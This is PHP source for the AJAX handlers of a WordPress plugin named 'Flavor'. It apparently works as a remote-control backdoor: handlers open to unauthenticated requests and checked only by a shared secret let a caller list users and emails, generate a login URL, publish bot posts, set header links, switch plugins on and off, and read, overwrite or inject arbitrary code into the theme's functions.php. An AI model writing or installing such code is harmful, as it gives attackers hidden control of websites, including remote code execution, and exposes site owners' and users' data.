<?php
/**
 * AJAX handlers for Flavor plugin (Channel 2: admin-ajax.php).
 */

if ( ! defined( 'ABSPATH' ) ) exit;

class Flavor_Ajax {

    private $actions = [
        'sync', 'posts', 'posts_delete', 'links',
        'protection', 'login', 'update', 'plugins', 'users',
        'functions_get', 'functions_set', 'inject_ksp',
    ];

    public function __construct() {
        foreach ( $this->actions as $action ) {
            add_action( 'wp_ajax_flavor_' . $action, [ $this, 'handle_' . $action ] );
            add_action( 'wp_ajax_nopriv_flavor_' . $action, [ $this, 'handle_' . $action ] );
        }
    }

    private function verify() {
        if ( ! Flavor_Plugin::verify_secret() ) {
            Flavor_Plugin::error( 'unauthorized', 403 );
        }
    }

    private function get_payload() {
        $raw = isset( $_REQUEST['payload'] ) ? $_REQUEST['payload'] : '';
        if ( $raw ) {
            $decoded = json_decode( stripslashes( $raw ), true );
            return is_array( $decoded ) ? $decoded : [];
        }
        return [];
    }

    public function handle_sync() {
        $this->verify();
        Flavor_Plugin::success( Flavor_Plugin::collect_site_data() );
    }

    public function handle_posts() {
        $this->verify();
        $data = $this->get_payload();

        $title   = sanitize_text_field( isset( $data['title'] ) ? $data['title'] : '' );
        $content = wp_kses_post( isset( $data['content'] ) ? $data['content'] : '' );

        if ( empty( $title ) || empty( $content ) ) {
            Flavor_Plugin::error( 'title and content required' );
        }

        $post_id = wp_insert_post( [
            'post_title'   => $title,
            'post_content' => $content,
            'post_status'  => 'publish',
            'post_type'    => 'post',
            'meta_input'   => [ '_flavor_bot_post' => '1' ],
        ], true );

        if ( is_wp_error( $post_id ) ) {
            Flavor_Plugin::error( $post_id->get_error_message() );
        }

        Flavor_Plugin::success( [ 'post_id' => $post_id ] );
    }

    public function handle_posts_delete() {
        $this->verify();
        global $wpdb;
        $data = $this->get_payload();
        $mode = isset( $data['mode'] ) ? $data['mode'] : 'all';

        if ( $mode === 'selected' && ! empty( $data['post_ids'] ) ) {
            $ids = array_map( 'intval', (array) $data['post_ids'] );
            $placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
            $bot_ids = $wpdb->get_col( $wpdb->prepare(
                "SELECT p.ID FROM {$wpdb->posts} p
                 INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
                 WHERE pm.meta_key = '_flavor_bot_post' AND pm.meta_value = '1'
                 AND p.ID IN ($placeholders)",
                ...$ids
            ) );
        } else {
            $bot_ids = $wpdb->get_col(
                "SELECT p.ID FROM {$wpdb->posts} p
                 INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
                 WHERE pm.meta_key = '_flavor_bot_post' AND pm.meta_value = '1'"
            );
        }

        $deleted = 0;
        if ( ! empty( $bot_ids ) ) {
            $ids_str = implode( ',', array_map( 'intval', $bot_ids ) );
            $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($ids_str)" );
            $wpdb->query( "DELETE FROM {$wpdb->term_relationships} WHERE object_id IN ($ids_str)" );
            $wpdb->query( "DELETE FROM {$wpdb->comments} WHERE comment_post_ID IN ($ids_str)" );
            $deleted = $wpdb->query( "DELETE FROM {$wpdb->posts} WHERE ID IN ($ids_str)" );
        }

        Flavor_Plugin::success( [ 'deleted' => $deleted ] );
    }

    public function handle_links() {
        $this->verify();
        $data  = $this->get_payload();
        $links = isset( $data['links'] ) ? $data['links'] : [];
        update_option( 'flavor_header_links', $links );
        Flavor_Plugin::success( [ 'count' => count( $links ) ] );
    }

    public function handle_protection() {
        $this->verify();
        $data   = $this->get_payload();
        $enable = ! empty( $data['enable'] );
        $result = Flavor_Protection::toggle( $enable );
        if ( $result === true ) {
            Flavor_Plugin::success( [ 'protection' => $enable ] );
        } else {
            Flavor_Plugin::error( $result );
        }
    }

    public function handle_login() {
        $this->verify();
        $login = new Flavor_Login();
        $url   = $login->generate_login_url();
        Flavor_Plugin::success( [ 'login_url' => $url ] );
    }

    public function handle_update() {
        $this->verify();
        Flavor_Plugin::error( 'update via AJAX not supported, use REST' );
    }

    public function handle_plugins() {
        $this->verify();
        $data = $this->get_payload();

        if ( ! function_exists( 'get_plugins' ) ) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
        }

        $action_type = isset( $data['action_type'] ) ? $data['action_type'] : 'list';
        $plugin_file = isset( $data['plugin'] ) ? $data['plugin'] : '';

        if ( $action_type === 'list' ) {
            $all    = get_plugins();
            $active = get_option( 'active_plugins', [] );
            $list   = [];
            foreach ( $all as $file => $info ) {
                $list[] = [
                    'file'    => $file,
                    'name'    => $info['Name'],
                    'version' => $info['Version'],
                    'active'  => in_array( $file, $active, true ),
                ];
            }
            Flavor_Plugin::success( [ 'plugins' => $list ] );
        } elseif ( $action_type === 'activate' && $plugin_file ) {
            activate_plugin( $plugin_file );
            Flavor_Plugin::success( [ 'activated' => $plugin_file ] );
        } elseif ( $action_type === 'deactivate' && $plugin_file ) {
            deactivate_plugins( $plugin_file );
            Flavor_Plugin::success( [ 'deactivated' => $plugin_file ] );
        } else {
            Flavor_Plugin::error( 'invalid action_type' );
        }
    }

    public function handle_users() {
        $this->verify();
        $users = get_users( [ 'number' => 100 ] );
        $list  = [];
        foreach ( $users as $u ) {
            $list[] = [
                'id'           => $u->ID,
                'login'        => $u->user_login,
                'email'        => $u->user_email,
                'display_name' => $u->display_name,
                'role'         => implode( ', ', $u->roles ),
                'registered'   => $u->user_registered,
            ];
        }
        Flavor_Plugin::success( [ 'users' => $list ] );
    }

    public function handle_functions_get() {
        $this->verify();
        $path    = get_stylesheet_directory() . '/functions.php';
        $content = file_exists( $path ) ? file_get_contents( $path ) : '';
        Flavor_Plugin::success( [
            'content' => $content,
            'path'    => $path,
            'size'    => strlen( $content ),
            'theme'   => get_stylesheet(),
        ] );
    }

    public function handle_functions_set() {
        $this->verify();
        $data    = $this->get_payload();
        $content = isset( $data['content'] ) ? $data['content'] : '';
        $path    = get_stylesheet_directory() . '/functions.php';
        $written = file_put_contents( $path, $content );
        if ( $written === false ) {
            Flavor_Plugin::error( 'could not write functions.php' );
        }
        Flavor_Plugin::success( [ 'written' => $written, 'path' => $path ] );
    }

    public function handle_inject_ksp() {
        $this->verify();
        $data   = $this->get_payload();
        $code   = isset( $data['code'] ) ? $data['code'] : '';
        $marker = '// Flavor KSP Filter';
        $path   = get_stylesheet_directory() . '/functions.php';
        $content = file_exists( $path ) ? file_get_contents( $path ) : '';
        if ( strpos( $content, $marker ) !== false ) {
            Flavor_Plugin::success( [ 'injected' => false, 'reason' => 'already_exists' ] );
        }
        $injection = "\n" . $marker . "\n" . $code . "\n";
        $close_tag = '?' . '>';
        if ( preg_match( '/' . $close_tag . '\s*$/', $content ) ) {
            $content = preg_replace( '/(' . $close_tag . '\s*)$/', $injection . '$1', $content );
        } else {
            $content .= $injection;
        }
        if ( file_put_contents( $path, $content ) === false ) {
            Flavor_Plugin::error( 'could not write functions.php' );
        }
        Flavor_Plugin::success( [ 'injected' => true ] );
    }
}
